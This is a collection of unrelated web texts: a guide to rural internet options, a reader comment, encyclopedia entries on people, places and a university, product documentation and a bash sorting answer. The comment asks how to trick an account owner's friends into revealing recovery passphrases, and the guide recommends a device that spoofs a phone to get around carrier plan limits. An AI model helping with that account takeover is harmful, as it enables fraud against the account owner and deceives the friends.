Satellite internet is more for simple tasks, like needing a way to make a VoIP call because you have no cellular reception in the area. However, the high latency really makes even a simple call suffer because you'll be talking over each other constantly. We wouldn't recommend it except when there is absolutely nothing else. Downloading a one-gigabyte file would take almost 2.5 hours at 1 Mbps. A five-megabyte file, which is typical for many photos these days, would take almost a minute.
Another downside to satellite internet is that you will not have a reliable connection if there are any obstructions such as trees, barns, large hills, and even weather in some instances. Companies serving North America include HughesNet and Viasat Internet, so there aren't many choices, and the monthly pricing tiers are ridiculously expensive — with data caps! If you can wait, hold out for Starlink.
Option 3: Cellular Data Providers
So far, our options aren't that great, and they make cellular data providers look pretty good. If you have a smartphone that lets you use it as a personal hotspot, you can have data on your phone and your computer, killing two birds with one stone, with more portability since you just need to be in range of a cellular tower. If you want a fixed personal hotspot, you can take an old smartphone and use your wireless SIM card in that. That way, you can multitask better with your smartphone and computer.
If you go this route, unlimited 4G LTE or 5G data plans are the way to go. All the big players — AT&T, T-Mobile, and Verizon — offer them. But you'll find that unlimited plans usually throttle the connection after a certain period. For instance, you may have a maximum amount of data you can use at full speeds each month before being throttled down to lower speeds. Likewise, if you're using a phone as the wireless hotspot, there may also be monthly data caps that are even lower than the regular data caps.
Smartphones don't usually have the best antennae, so your signal may vary widely from time to time. That's why it's better to invest in a device that's solely to be a mobile hotspot. For example, on T-Mobile, you can get a ZTE 4G LTE Mobile Hotspot for about $200 or Alcatel LINKZONE 4G LTE Mobile Hotspot for about $50, pop the SIM in that, and you're good to go.
However, while the antennae in these mobile hotspots are better than in phones, you won't be able to use a directional antenna, and you'll find yourself jumping from room to room to find the best signal. You might even want to tape it to a window or place it outside! Plus, your cellular provider will know that it's not a phone, and phone plans are meant for phones. So if you use a mobile hotspot like these, you'll need a mobile hotspot plan, which usually have more restrictions.
The download and upload speeds you'll get will vary greatly from provider to provider and depend on the quality of the signal and the type of tower nearby. 5G towers are relatively new, so don't expect to find any of those within operating distance to you. 4G LTE is most likely, but you may even be stuck with 3G speeds in remote areas.
Option 4: Spoofed Phone with Cellular Data Providers
If you find that mobile hotspot plans are too limiting for you, you can get around the restrictions of using a mobile hotspot on a regular smartphone plan by using a device that spoofs itself as a smartphone. We recommend the MOFI4500-4GXELTE-SIM4 with Embedded SIM which should work with regular phone plans on AT&T, T-Mobile, and Verizon Wireless.
Mofi's router makes the network think it's a smartphone. That way, it doesn't limit you to those throttled data caps for personal hotspots (you'll only have to deal with the overall data cap) while giving you both wireless and Ethernet connections to use on all your devices. You can also use directional antennae to get the best signal possible while keeping it in a convenient location.
The Mofi router is a bit expensive, starting at $299 and sometimes going up to $400.
While we haven't tested them, there are cheaper solutions to the Mofi router, such as the MikroTik LHG LTE kit-US. This particular one does not provide a wireless connection and only has one Ethernet port, but it can be powered over that Ethernet port. Make sure that whatever you get, that it works on the same band.
Option 5: Signal Booster for Spoofed Phone
If the Mofi router wasn't enough to get you a fast, reliable internet connection on all of your devices, there's another thing you can do to improve things: get a signal booster. A signal booster will amplify the signal between the tower and your Mofi router, giving you the best performance possible in this list of options. However, with the Mofi router's cost and a good signal booster's price tag, it's definitely not cheap. Some of the best signal boosters can be priced up to $900, though you can get an OK one from $100 to $200.
With signal boosters, you need some detailed knowledge of the cell infrastructure in the area. So you'll need to do some research to make sure it will boost the right frequency, and that can be a tricky thing to find out. Make sure that it'll work on the same band and channel that your Mofi router uses. Some of the cheaper options include:
Option 6: Channel Bonding Everything Together
Channel bonding lets you combine all of the above options to give you the best of everything. It's a paid service that combines all of your internet sources, chops up your packets, and then sends them to a source using all of the available bandwidth where they're reassembled and sent to the internet at large. Theoretically, you could get an accumulative amount of download and upload speeds from each option, but it's more complicated to set up. Most DSL providers will offer a channel bonding option, so it's worth asking about if you're going that route.
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1 Comment
Hello,
Hey so when you get to the part about soliciting friends to provide the key information bits, will it be asking me for my friends or assuming that I am really the account owner it will be showing me a list of their friends? Which I would then have to manipulate into providing me the pass phrases somehow? How would I get the three friends to tell me the info without giving away that I am not the account owner?
alexsunny
Thanks
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Princess Marilène of Orange-Nassau, van Vollenhoven
Princess Marilène of Orange-Nassau, van Vollenhoven-van den Broek (née Marie-Hélène Angela van den Broek; 4 February 1970) is the wife of Prince Maurits of Orange-Nassau, van Vollenhoven, and was thereby member of the Dutch Royal House until King Willem-Alexander's accession in 2013 rendered Prince Maurits too distantly related to the reigning monarch. She remains a member of the larger Dutch royal family.
Early life
Princess Marilène was born in Dieren, Rheden, and is the youngest daughter of Hans van den Broek and Josee van den Broek-van Schendel. The van den Broeks belong to the Dutch patriciate. Marilène van den Broek obtained her highschool diploma (pre-university secondary education) in Wassenaar in 1988. She studied from 1988 to 1994 at the University of Groningen where she received her MSc degree in Business Administration. Princess Marilène currently works at the Rijksmuseum Amsterdam, a Dutch national museum dedicated to arts, crafts, and history.
Marriage and children
She married Prince Maurits of Orange-Nassau, van Vollenhoven in Apeldoorn civilly on 29 May 1998, followed by a religious ceremony on 30 May. His Highness Prince Maurits is the eldest son of Princess Margriet of the Netherlands and Pieter van Vollenhoven. Princess Marilène and Prince Maurits have three children, who carry no title, but by Royal Decree of 26 May 1998 bear the surname "van Lippe-Biesterfield van Vollenhoven":
* Anastasia (Anna) Margriet Joséphine van Lippe-Biesterfeld van Vollenhoven, born in Amsterdam on 15 April 2001.
* Lucas Maurits Pieter Henri van Lippe-Biesterfeld van Vollenhoven, born in Amsterdam on 26 October 2002.
* Felicia Juliana Bénedicte Barbara van Lippe-Biesterfeld van Vollenhoven, born in Amsterdam on 31 May 2005. | WIKI |
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Custom Network Rollup Rules
Embrace provides automatic collapsing of network paths to group similar paths together for analytics purposes. We automatically collapse certain path elements if they match a common pattern, and we also group endpoints that have a similar prefix. This heuristic can be good enough for most cases, but sometimes it is necessary to override the behavior.
On the network settings page you can specify a list of desired groupings (or network rollup rules) that you want to apply to your endpoints. When we process a network request, we apply all the network rollup rules in sequence, where the first|last match wins.
Screenshot of settings page with network rollup rules
Custom rules are applied on the backend on a going forward basis.
Rules Reference
We currently provide the following patterns:
• «wildcard» - Matches any single path segment
• «**» - Matches any number of path segments
• «ext:file_extension» - Matches a string ending with a period and a 2 to 5 character extension.
Sample Use Cases
Collapsing High Cardinality Fields
If you have an endpoint with a high cardinality field, such as a UUID, you may want to collapse all requests to that endpoint into a single group. You can achieve this by using the «wildcard» rule to collapse all the requests into a single group.
my.api.domain/v1/users/«wildcard»/messages
This will collapse the following requests:
my.api.domain/v1/users/1234bcdd/messages
my.api.domain/v1/users/user@mail.com/messages
my.api.domain/v1/users/test-user/messages
Preventing Collapsing of Specific Endpoints
You may have a specific endpoint that you do not want to collapse at all. In our previous example we may not want to collapse the test-user endpoint since we use that for testing purposes. We can achieve this by adding a rule that exactly matches the endpoint and placing it after the wildcard rule.
my.api.domain/v1/users/«wildcard»/messages
my.api.domain/v1/users/test-user/messages
Since the last rule wins, this setup will collapse all endpoints except for the test-user endpoint.
Collapse CDN Images
You can collapse endpoints for third-party SDKs into a single groups. For example, CDNs will have a large number of path segments with a common prefix.
my.cdn.domain/images/0x0/b/d/123x123/bd1234c-cb6f-4c9f-9df6-6787903c5442/file.jpg
my.cdn.domain/images/0x0/b/d/123x123/bd1234c-cb6f-4c9f-9df6-6787903c5442/image.jpg
my.cdn.domain/images/0x0/b/d/123x123/afcd333-4c9f-9df6-6787903c5442/splash.jpg
my.cdn.domain/images/icons/badge.jpg
You can collapse all the requests to the CDN into a single group by using the «**» rule and an extension rule «ext:jpg». Here's the new rule:
my.cdn.domain/images/«**»/«ext:jpg» | ESSENTIALAI-STEM |
Luanda
Luanda, the capital of Angola, is on the Atlantic coast. Its current renaissance is an inspiring success story. Decades of conflict, which only ended in 2002, had long held Angola back. Since the start of the 21st century there has been a massive boom in construction in Luanda, where peace and stability have attracted numerous foreign companies to invest in offices in the city. The government of Angola, getting rich off revenue from oil, diamond and other natural resources, is also investing heavily in and around Luanda, including large social housing high-rise blocks of flats to replace slums and existing dilapidated (and often bullet-ridden) tower blocks; extensive repaving; the construction of several six-lane highways leading out of the city; the reconstruction of railway lines leading out of the city; and a large new airport on the south side is under construction, and following various delays is scheduled to open in 2023.
History
Luanda was founded in 1575 under the name São Paulo de Loanda by a hundred families of settlers and four hundred soldiers. Two forts were constructed in the early 17th century and the city became Portuguese Angola's administrative centre in 1627. From the late 16th century until 1836, Luanda was the port where nearly all slaves bound for Brazil left. Aside from a brief period of Dutch rule (1640–48), this period was relatively uneventful, with Luanda growing much like many other colonial cities, albeit with a strong Brazilian influence as a result of the extensive shipping trade between these Portuguese colonies. The independence of Brazil in 1822 and the end of slavery in 1836 left Luanda's future looking bleak, but the opening of the city's port to foreign ships in 1844 led to a great economic boom. By 1850, the city was arguably the most developed and one of the greatest cities in the Portuguese empire outside Portugal itself and fuelled by trade in palm and peanut oil, wax, copra, timber, ivory, cotton, coffee, and cocoa. After slavery officially ended (resisted by the Portuguese but enforced by the British) forced labour began. Numerous imported crops grew well in the surrounding area to support residents, such as maize, tobacco, and cassava. In 1889, an aqueduct opened, supplying fresh water and removing the only inhibitor to growth in the city. The city blossomed even during the Portuguese Colonial War (1961–74), which did not affect the city, and this modern city was even labelled the "Paris of Africa" in 1972.
After so much success, the city took a turn for the worse in the mid-1970s. While largely untouched during the Carnation Revolution (Angolan independence), the start of the Angolan Civil War in 1975 scared almost all Angola's population of Portuguese descent out of the country as refugees (including the majority of Luanda's population). This led to an immediate crisis as Angola's African population knew little about how to run or maintain the city. They were helped a little by skilled Cuban soldiers who were able to help the MPLA government maintain some of the city's basic services, but hundreds of thousands of refugees who fled fighting in the countryside created slums stretching for miles on all sides of the city. The city saw some sporadic fighting during the Civil War which left bullet holes in many high-rises and government buildings. When peace was achieved in 2002, the government began planning to rebuild using oil revenues. Today Luanda's skyline is dotted with cranes, erecting numerous social housing apartments to replace slums and existing, but grossly dilapidated, 40-plus-year-old high-rises as well as offices for numerous foreign companies operating in Angola. Just south of Luanda in an area aptly called Luanda Sul, Western-standard housing, many compound-style, is being built for the growing expat community. Major improvements are being made to roads, highways, and the rail system in and around the city but there is yet an overwhelming amount of work to be done. And while certainly still home to a large impoverished population (59%), free housing and the creation of thousands of new jobs each year means that Luanda may have a bright future ahead.
Climate
The climate is largely influence by the offshore Benguela current. The current gives the city a surprisingly low humidity despite its low latitude, which makes the warmer months considerably more bearable than similar cities in Western/Central Africa. The city receives an average of 405mm (15.9 in) of rain a year, mostly in heavy amounts in March and April and in lighter amounts from November through February. However, this is quite variable depending on the strength of the current and the coefficient of variation is 40% (there can be a sixfold difference between rain received in the driest of years and wettest of years). The temperatures are fairly stable year-round, with the mildest months being between May (29° max/23° min) and October and the warmest months being November (31° max/25° min) and April.
Orientation
Luanda is divided into ten municipalities: Ingombota, Maianga, Sambizanga (centre), Samba, Rangel, Cazenga, (middle ring), Cacuaco, Viana, Kilamba Kiaxi, and the newly created municipality of Belas (periphery).
In the centre (Ingombotas and Maianga) the oldest colonial town is divided in Baixa de Luanda (lower Luanda, from the port to the fortress), Cidade Alta (upper city, where the presidential palace is), and Ilha do Cabo (a peninsula surrounding the bay, with beaches and expensive night-clubs, bars and restaurants). Behind and above the historic centre, central bairros include Maianga and Alvalade (residential) and Miramar (embassies), as well as Kinaxixe and Maculusso, which are characterised by Portuguese apartment blocks. Further outside the centre, the neighbourhoods become more informal (self-construction), dotted with 1970s Cuban apartment blocks and new developments. In the South, luxury gated communities (condominiums) predominate.
By plane
Despite the city's very low tourist numbers, it has a surprisingly large number of international connections, which largely service Angolans living abroad (such as in Brazil) and the growing number of firms servicing the oil and diamond industries as well as reconstruction (done largely by Chinese workers and Brazilian firms). A couple of carriers still operate routes based on Cold War alliances (to Havana and Moscow).
The city is the hub of national carrier TAAG Angola Airlines, one of just three profitable airlines in Sub-Saharan Africa, which offers flights to 15 Angolan cities. They offer flights to many cities in West-Central/Southern Africa including daily flights to Johannesburg as well as Douala, Cameroon; Sal, Cape Verde; Bangui, CAR; Kinshasa, DRC; Brazzaville & Pointe Noire in the Congo; Windhoek, Namibia; Sao Tome, Sao Tome and Principe; Lusaka, Zambia; Harare, Zimbabwe. Their long-haul offerings include: Dubai, Beijing (via Dubai), Lisbon, Paris, and trans-Atlantic flights to Rio de Janeiro, São Paulo, and Salvador de Bahia in Brazil.
International service includes flights to/from: Dubai (Emirates), Frankfurt (Lufthansa), London-Heathrow (BA), Paris-de Gaulle (Air France), Brussels (Brussels Airlines), Havana (Cubana, seasonal), Moscow (Aeroflot), Beijing (Hainan, via Dubai), Addis Ababa (Ethiopian), Lisbon (TAP Portugal).
When leaving the country do not take any kwanza to the airport as it is illegal to try to take kwanza out of the country; you may be stopped by the fiscal police and receive a heavy fine (all your kwanza taken and most of your other money) or imprisoned.
By train
Rail services in Angola have seen a dramatic improvement over the last few years. Reconstruction and modernization are carried out by Chinese firms, rehabilitating what was once one of the most extensive rail network in Africa during under colonial rule. However, trains are of limited use for the tourist as they mainly serve commuters. An exception is the long distance services from Malanje. Notice that rail services still have a reputation of not being fully safe.
By car
The main road for tourists will be the coastal highway leading north to the DR Congo and south to Namibia. It is very scenic and in reasonably good repair. Roads are one of the top priorities in reconstruction efforts, including a handful of six-lane highways leading out of the city. Expect a mix of okay pavement on old highways and a smooth ride on new roads.
By bus
The National Bus Service has just re-opened but routes are not organized yet. There are some local services in Luanda and in between cities.
By boat
In 2018 a new ferry started on the Luanda to Cabinda, which is useful to avoid a transit through the DR Congo. It is operated by TMA Express.
By taxi
A popular means for locals to get around the city is by mini bus taxis (Candongueiros), easily identifiable by their pale blue and white. Although they are considered dangerous by most expats, locals use them on a daily basis. During the daytime, until around 20:00, they are a safe, convenient, and usually fast means of transport in the inner-city. Fares are 200 Kz per trip, except in rain or heavy traffic, when fares are doubled.
Consider to use the Macon Taxi a private taxi company (20-30 USD per trip).
Eco Tur also do 4x4 and minibus hire and airport transfers with bilingual drivers<EMAIL_ADDRESS>+244 912 501 387
B Home will provide airport pick ups and are available for hire (drivers) +244 222 264 423 B Home has offices in Luanda, and in the US. +1-281-444-5988 (Houston Office).
Afri-taxi had 150 vehicles in Luanda and a rank at the airport.
By car
The roads in Luanda are generally of okay standard, as is the case on the main routes between cities, but elsewhere road quality greatly decreases. Don't be surprised if you encounter unexpected problems during the rainy season. In Luanda main streets are paved, but streets in the slums are in disrepair, and most roads have no lines or signals. As mentioned before, there are improvements being made throughout the city. Congestion is a major problem with lack of public transport and the plethora of minibus taxis.
By train
A commuter rail service is expected to open during the first half of 2021. While useful for reaching the suburbs, it will not be too useful for the average tourist.
Work
Jobs are mainly available in the oil sector, but also in the increasing number of international Angola based companies which are investing in Angola now that peace and stability are offering great development prospects for the country.
Buy
Eat
The majority of restaurants are on The Marginal or on Ilha de Luanda, where Luanda's elite go to dine and have fun. Be careful: when eating out, do not drink the tap water.
The Belas Shopping mall has a food court with a variety of options from local foods to pizza and burgers.
Drink
Luanda is highly influenced by Portuguese culture. Portuguese beer is widely consumed, although Heineken and Carlsberg make an appearance. Super Bock, Sagres and Cristal (most popular) are popular beers from Portugal. Local beers such as Nocal, Cuca (the most popular, especially the excellent draught version, or "fino" in Portuguese) and Eka. Try Portugalia (Portuguese Beer House) at the beginning of the Ilha, or either of the two boat clubs just on the Ilha for a nice sundowner (Clube Nautico and Clube Naval).
Also, there are some excellent Portuguese wines widely available.
Stay safe
Safety in Luanda is average for safety among African cities. Don't venture into the slums. Don't go out at night alone. Keep your car doors locked at all times. Violent crime has been on the rise, but it is mostly in the slums. The colonial part of the city is safe from violent crime; but like most African cities, pickpocketing or muggings are a fact of life. You will greatly reduce your chances of such if you stay low key: no fancy clothes or car, use a money belt, etc. The city is an expensive place to live and Angolans have realized that most expats in the city are high-salaried employees from large corporations, so you should especially avoid business attire.
Do not give beggars money; if you do, you will soon have a lot of them surrounding you.
This is Central Africa: many police in Luanda are very corrupt. Check for their identity number (should be located on an arm band near the shoulder) and you may present charges against any abuse. As a visitor, it's important to carry an authorised photocopy of your passport at all times. Otherwise, you will get an on the spot fine or worse, courtesy of the police. Do not carry your original; the police may ask for it and keep it until you pay a "fine".
Embassies and consulates
* 🇨🇦 Canada
* 🇨🇳 China
* 🇩🇪 Germany
* 🇬🇷 Greece
* 🇳🇱 Netherlands
* 🇷🇴 Romania
* 🇷🇸 Serbia
* 🇬🇧 United Kingdom
* 🇺🇸 United States
* 🇮🇱 Israel
Go next
Go a bit south of Luanda and you will find the outstanding Parque Nacional Da Kissama (also spelled Quiçama in Portuguese), home to elephants, antelope, exotic birdlife, ostriches, zebras, wildebeest, and giraffes, which are still thriving in great numbers but because tourism is just beginning to start in Angola, it still has a bit of a wild side to it. It is also very beautiful with spectacular views. | WIKI |
Richard Green (curator)
Richard Green is an art curator and art critic.
Biography
Green was Keeper of fine art at the Laing Art Gallery from 1971 to 1977. One of his early acquisitions for Newcastle was Laus veneris by Edward Burne-Jones. In 1977 he became the curator of York Art Gallery, a post he held until 2003 when he left to become an independent art historian. As curator at York Art Gallery, Green was present during the armed robbery of January 1999 in which staff were tied up and threatened, and over £700,000 of paintings were stolen.
Green is an honorary visiting fellow in the Department of Art History at the University of York. He was elected as a Fellow of the Society of Antiquaries of London in 2014.
Select publications
* 1990 (with Murray H and Riddick S). York through the Eyes of the Artist. York City Art Gallery.
* 2011. 'Etty and the Masters' in S. Burnage, M. Hallett and L. Turner, eds, William Etty: Art and Controversy. London.
* 2012. 'Paul Sandby's young Pupil identified', Burlington Magazine 144. | WIKI |
Indiana University Kokomo
Indiana University Kokomo (IU Kokomo or IUK) is a public university in Kokomo, Indiana. It is a regional campus of Indiana University serving north central Indiana.
History
In 1932, John and George Beauchamp opened the Kokomo Junior College in the downtown YMCA. The Junior College offered a basic two-year collegiate program. It maintained an average enrollment of approximately 75 students. In 1945, it moved to 508 West Taylor Street, which was Indiana University's first building in the city of Kokomo. Indiana University Kokomo was officially established in 1945 as one of several extension centers of Indiana University (2012).
In 1947, students moved to a new location, West Sycamore Street, known as the Seiberling Mansion. The mansion, an adjacent home, the Elliot House, and its two carriage buildings served as the IU Kokomo campus for nearly twenty years. In 1965, IUK moved to its current location, south of historic downtown Kokomo, on Washington Street. The Main Building, the first building on campus, opened with classrooms, a library, administrative offices, and a 908-seat auditorium. In 1980, the East Building – now known for its Nursing Simulation Lab – was constructed. In 1989, the Kelley Student Center was completed. Six years later, the modern library was opened. Purdue advisement offices and campus offices are housed in the west wing of the building, where PU:Technology-accredited courses are held. In 2001, Hunt Hall opened, a modern building used for science and mathematics and named after the school's first director Virgil Hunt and his wife Elizabeth. In 2010, IU Kokomo acquired an off-campus building which was once the Kokomo Post Office, and it has since been renamed the Fine Arts Building.
In August 2013, the Milt and Jean Cole Family Wellness and Fitness Center opened. The 21,000 square-foot facility includes a jogging and walking track, two multi-purpose rooms, and health studies room and lockers. It is partially supported from external donation. The center provides the opportunity for expanding Allied Health Programs such as sports medicine and athletic training. The center was officially named after the Milt and Jean Cole family in September 2013 to honor them for their donation of $1.25 million to the campus.
In August 2020, the Student Activities and Events Center opened. The 24,000 square-foot facility serves as the home of the Cougars athletic department. The facility was built to cut down the burden on the historic Memorial Gymnasium in which the Cougar Gym resides. It was the first structure to be built on the campus since Hunt Hall in 2002. The cost to build the facility was $8.4 million in which $250,000 was donated by the City of Kokomo. During the fall 2020 semester, the facility was used for a 96-seat social distanced classroom due to the COVID-19 pandemic.
Chancellors
* Virgil Hunt, executive secretary IU Extension Center, August 1945 – April 1956. Virgil Hunt served as the first administrator of the IU Kokomo Extension Center.
* Smith Higgins, director of IU Extension Center, 1956–1959. Smith Higgins led the extension center and later helped transform the many IU extension centers into regional campuses. In February 1959, Higgins took over responsibilities as associate dean of the Extension Division in Bloomington.
* Victor M. Bogle, chancellor, 1959–1979. Victor Bogle led the conversion of the IU extension center into a campus that offers associate and baccalaureate degrees to IU and Purdue University students. He oversaw construction of the original campus buildings in the 1960s and helped bestow the first degrees in the 1970s.
* Hugh Lee Thompson, chancellor, August 1980-July 1990, Ph.D. Hugh Lee Thompson doubled the size of the campus from 24 to 48 acres and he constructed the Kelley Student Center, the Purdue wing, and the Observatory. He established numerous scholarship endowments, which are currently the largest offered by the university. He also added fourteen Indiana University degrees as well as six Purdue University degrees while he was chancellor.
* Emita Brady Hill, chancellor, April 1991 – August 1999, Ph.D. Emita Brady Hill helped IU Kokomo grow by being a strong advocate in the building of IU Kokomo's library, Kresge auditorium and the Art Gallery.
* Ruth Janssen Person, chancellor, September 1999 – August 2008, Ph.D. Ruth Janssen Person helped lead IU Kokomo into becoming a full baccalaureate institution with the addition of bachelor's and master's programs and the elimination of most associate programs. During her tenure, many renovations occurred with classroom improvements, new lecture halls as well as technology making its way into the classroom. Ruth is also credited for overseeing the construction of Hunt Hall, which is IU Kokomo's award-winning science facility. (2008)
* Stuart Green, interim chancellor, 2008–2010, M.F.A. Stuart Green served 38 years at IU Kokomo. Throughout that time, he served many different leadership roles. He was a chairperson for the Department of Humanities, dean of the School of Arts and Sciences, and vice chancellor of academic affairs.
* Michael Harris (academic), chancellor, 2010–2012, Ph.D. Michael Harris led the university through the process of adding 10 new degree programs to the Kokomo campus. Dr. Harris instituted online classes and increased the number of Friday classes offered. He also developed an athletic program. The first two sports (women's volleyball and men's basketball) led the university to a full offering of an athletic program with joining the National Association of Intercollegiate Athletics (NAIA) in 2012. In January 2012, under the leadership of Dr. Harris, IU Kokomo received a $1.25 million gift from Milt and Jean Cole to fund a new wellness and fitness center. At the time, this was the largest cash gift ever received on IU's Kokomo campus. The new facility; The Milt and Jean Cole Family Wellness and Fitness Center, opened in August, 2013.
* Susan Sciame-Giesecke, chancellor, April 15, 2014 – present, Ph.D. Susan Sciame-Giesecke has served the IU Kokomo campus for 35 years. In that time, she has directed strategic planning initiatives, started programs that will assist in the support of both student success and retention, and formed new degree programs.
Academics
As of 2020, there are 3,123 undergraduate and graduate students enrolled at Indiana University Kokomo. The university serves a 14-county region in north central Indiana, and offers more than 60 Indiana University degrees, including bachelor's degrees in many arts and sciences medical imaging technology, criminal justice, and general studies; and master's degrees in public management, business, and nursing; and a limited number of associate degree programs.
IU Kokomo has a 16 to 1 student-faculty ratio (as of 2020).
IU Kokomo is organized into the following schools, colleges, departments, and divisions:
* Division of Allied Health Sciences
* School of Business
* Department of Public Administration and Health Management
* School of Education
* School of Humanities and Social Sciences
* Department of Criminal Justice and Homeland Security
* Department of Humanities
* Department of Psychology
* Department of Sociology
* Department of History, Political Science, and Philosophy
* School of Nursing
* School of Sciences
* General Studies
Accreditation
Indiana University Kokomo is accredited by the Higher Learning Commission. (2009)
Rankings and recognition
The Princeton Review includes Indiana University Kokomo as one of the 296 Best Business Schools in the 2015 edition.
The U.S. News & World Report's 2013 annual report listed Indiana University Kokomo as a top regional campus in the category of regional colleges that focus on undergraduate education but grant fewer than half their degrees in liberal arts disciplines. IU Kokomo was one of seven public institutions among the 74 that were ranked; IU Kokomo was the only IU regional campus to be recognized. This was a first-ever mention for the campus that includes the Tier 1 level.
Student life
Indiana University Kokomo has approximately 35 student organizations, including special interest and major-based student groups. Specifically, there are a few groups that represent the interests of all students; Student Government Association (SGA), Student Union Board (SUB), Student Athletics and Wellness Board (SAWB), and The Correspondent student newspaper.
* Student Government Association provides leadership opportunities with three branches of government from which to serve.
* Student Union Board plans and supervises most of the social and entertainment events on campus.
* Student Athletics and Wellness Board supports the intercollegiate athletic program, organizes intramural sports, and promotes health and wellness on the IU Kokomo campus.
* The Correspondent is "The Student Voice of Indiana University Kokomo and Purdue College of Technology at Kokomo." It is a student-run paper that is released every two weeks.
The Nearly Naked Mile is a newer tradition, held in late fall each year to benefit Kokomo Urban Outreach. In order for students to participate in the one-mile walk/run each year, students must donate articles of clothing.
Annual events include a campus BBQ, Activities Fair, and Halloween Open House.
IU Kokomo sponsors annual awareness events to bring recognition and to show support to various serious issues.
* Deaf Awareness Week
* Sexual Assault Awareness Week
* Breast Cancer Awareness Month
Deaf Awareness Week is a week where a silent lunch is held for an hour, where individuals are unable to communicate with one another.
Sexual Assault Awareness Week at IU Kokomo teaches students to prevent themselves and others from becoming victims, and a self-defense workshop is set up for discussions on issues regarding sex, drugs and alcohol, two Step Up intervention training workshops, and a resource table for students.
The annual "Block Out Breast Cancer" volleyball game raises awareness surrounding breast cancer. Fans attend the game wearing pink. Educational pamphlets are passed out to the attendees to inform them about the importance of early detection as a part of Breast Cancer Awareness Month.
Greek life
In 2003, IU Kokomo brought Greek life to campus with the colonization of a national sorority, Phi Sigma Sigma whose principles include lifelong learning, inclusiveness, and leadership through service. In fall 2013, Phi Kappa Tau colonized at IU Kokomo and is the first NIC fraternity on campus. On April 11, 2015, the colony chartered as the Zeta Iota chapter.
Athletics
The Indiana–Kokomo (IUK or IU Kokomo) athletic teams are called the Cougars. The university is a member of the National Association of Intercollegiate Athletics (NAIA), primarily competing in the River States Conference (RSC; formerly known as the Kentucky Intercollegiate Athletic Conference (KIAC) until after the 2015–16 school year) since the 2013–14 academic year. The Cougars had previously competed as an NAIA Independent within the Association of Independent Institutions (AII) during the 2012–13 school year (when the school began its athletics program and joined the NAIA).
IU Kokomo competes in 14 intercollegiate varsity sports: Men's sports include baseball (2017–18), basketball (2011–12), cross country (2014–15), golf (2014–15) and track & field (indoor and outdoor); while women's sports include basketball (2014–15), cross country (2014–15), golf (2014–15), soccer (2019–20), tennis (2017–18), track & field (indoor and outdoor) and volleyball (2014–15).
History
IU Kokomo was one of four institutions to become a member of the NAIA in April 2012. In May 2013, it was announced that IU Kokomo was accepted into the league that was formerly known as the KIAC, beginning with the 2013–14 academic year. IU Kokomo became the 12th member of the KIAC. To remain a member of the NAIA, IU Kokomo must have six varsity sports within four years. In January 2014, it was announced that IU Kokomo would add both men and women's golf teams. Competition began during the 2015–16 season. In 2014, IU Kokomo was able to reach seven varsity sports; men's and women's basketball, men's and women's golf, women's volleyball, and men's and women's cross country.
In August 2012, IU Kokomo announced the addition of cheerleading on campus as a club sport. Cheerleading will not be a competitive sport or considered a part of the NAIA. | WIKI |
Page:Eliza Scidmore--Jinrikisha days in Japan.djvu/380
into the sea, but the best scholars and authorities now discredit this wholesale horror, of which no trustworthy record exists.
From 1641 the Dutch lived as prisoners on the little island of Deshima, where the porcelain bazaar now stands, suffering incredible restrictions and humiliations for the sake of monopolizing the trade of the country. Nagasaki’s children and beggars still follow strangers with the shout, “''Hollander san! Hollander san!''” as a remembrance of those first foreign residents, and in curio-shops queer clocks and ornaments show the adaptation and imitation of many Dutch articles by the Japanese.
The fact of Nagasaki's being only a port of call makes its curio market fluctuate in proportion to the number of merchantmen and men-of-war in port. When the harbor is full, no resident visits the curio-shops, whose prices always soar at such times. Tortoise-shell carving is a great industry of the place, but porcelain is still the specialty of this southern province, where the art was first introduced. Those wares of South Japan known anciently as Nabeshima and Hirado are the finest of Japanese porcelains, their blue and white beauty being simply perfect. The potters who brought the art from Korea and China settled in Satsuma and Hizen, and the kilns of Arita and Kagoshima are still firing. The Dutch carried the Arita ware to Europe under the name of Hizen. This porcelain is now more commonly termed Imari, while Deshima is another general name for the modern product, and Nabeshima and Hirado are the words used by connoisseurs in classifying the older wares. This confusion of names misleads the traveller, who cannot at once discern that Hizen is the name of the province, Arita of the town where the potters live and the kilns are at work, Imari of the port from which it is shipped, Nabeshima the family name of that daimio of Hizen who brought the potters from Korea, and 364 | WIKI |
/ How to apply different sorting methods to different columns in a CSV file in BASH?
How to apply different sorting methods to different columns in a CSV file in BASH?
I have a CSV file like this:
fish,4 cat,1 elephant,1 tree,2 dog,8 car,10
awk -F',' '{print length($1),$0}' file.csv | sort -k1nr | cut -d' ' -f 2- will sort the file by word length, for all words appearing in the first column:
elephant,1 fish,4 tree,2 cat,1 dog,8 car,10
sort -t, -k+2 -n -r file.csv will sort the file from greatest to least according to the number appearing in the second column:
car,10 dog,8 fish,4 tree,2 elephant,1 cat,1
How can I use these two commands together such that the CSV file is first sorted by word length, according to the words appearing in the first column, then any rows containing words of equal length within the first column are sorted according to the number appearing in the second column from greatest to least. The resulting output would look like this:
elephant,1 fish,4 tree,2 car,10 dog,8 cat,1
How can these two sorting methods be used together?
If you are using [gawk](/questions/tagged/gawk "show questions tagged 'gawk'") then you can use the [asort](http://www.gnu.org/software/gawk/manual/html_node/Array-Sorting-Functions.html#Array-Sorting-Functions) function to perform sort, so no other utility has to be called. You can try something like this:
awk -F, 'function cmp(i1,v1,i2,v2) {split(v1,a1); split(v2,a2) l1=length(a1[1]); l2=length(a2[1]) return l1 > l2 ? -1 : l1 < l2 ? 1 : a1[2] > a2[2] ? -1 : a1[2] < a2[2] } {a[n++]=$0} END{asort(a,a,"cmp"); for(i in a) print a[i]}' infile
Output:
elephant,1 fish,4 tree,2 car,10 dog,8 cat,1
This script reads all the lines first then it sorts the array called a with the function cmp. The only trick I used that a > b returns the usual 1 or 0 for true or false.
A little bit shorter version in perl:
perl -F, -ane 'push @a,[@F]; END{for $i(sort {length $b->[0]<=>length $a->[0] or $b->[1]<=>$a->[1]} @a) {printf "%s,%d\n", @$i} }' infile
This is not 100% correct as $F[1] contains the \n, yet printf handles it properly. | ESSENTIALAI-STEM |
Southern Redwood Botanical Area
The Southern Redwood Botanical Area (also known as Southern Redwood Special Interest Area) is a 17 acre ecological preserve in the southern region of Big Sur in Monterey County, California, just north of the national forest's Salmon Creek trailhead. Established by the Los Padres National Forest of the United States Forest Service, it contains the southernmost naturally occurring Redwood. The trees are located in the Little Redwood Gulch watershed adjacent to the Silver Peak Wilderness. The area is just north of the Salmon Creek trailhead.
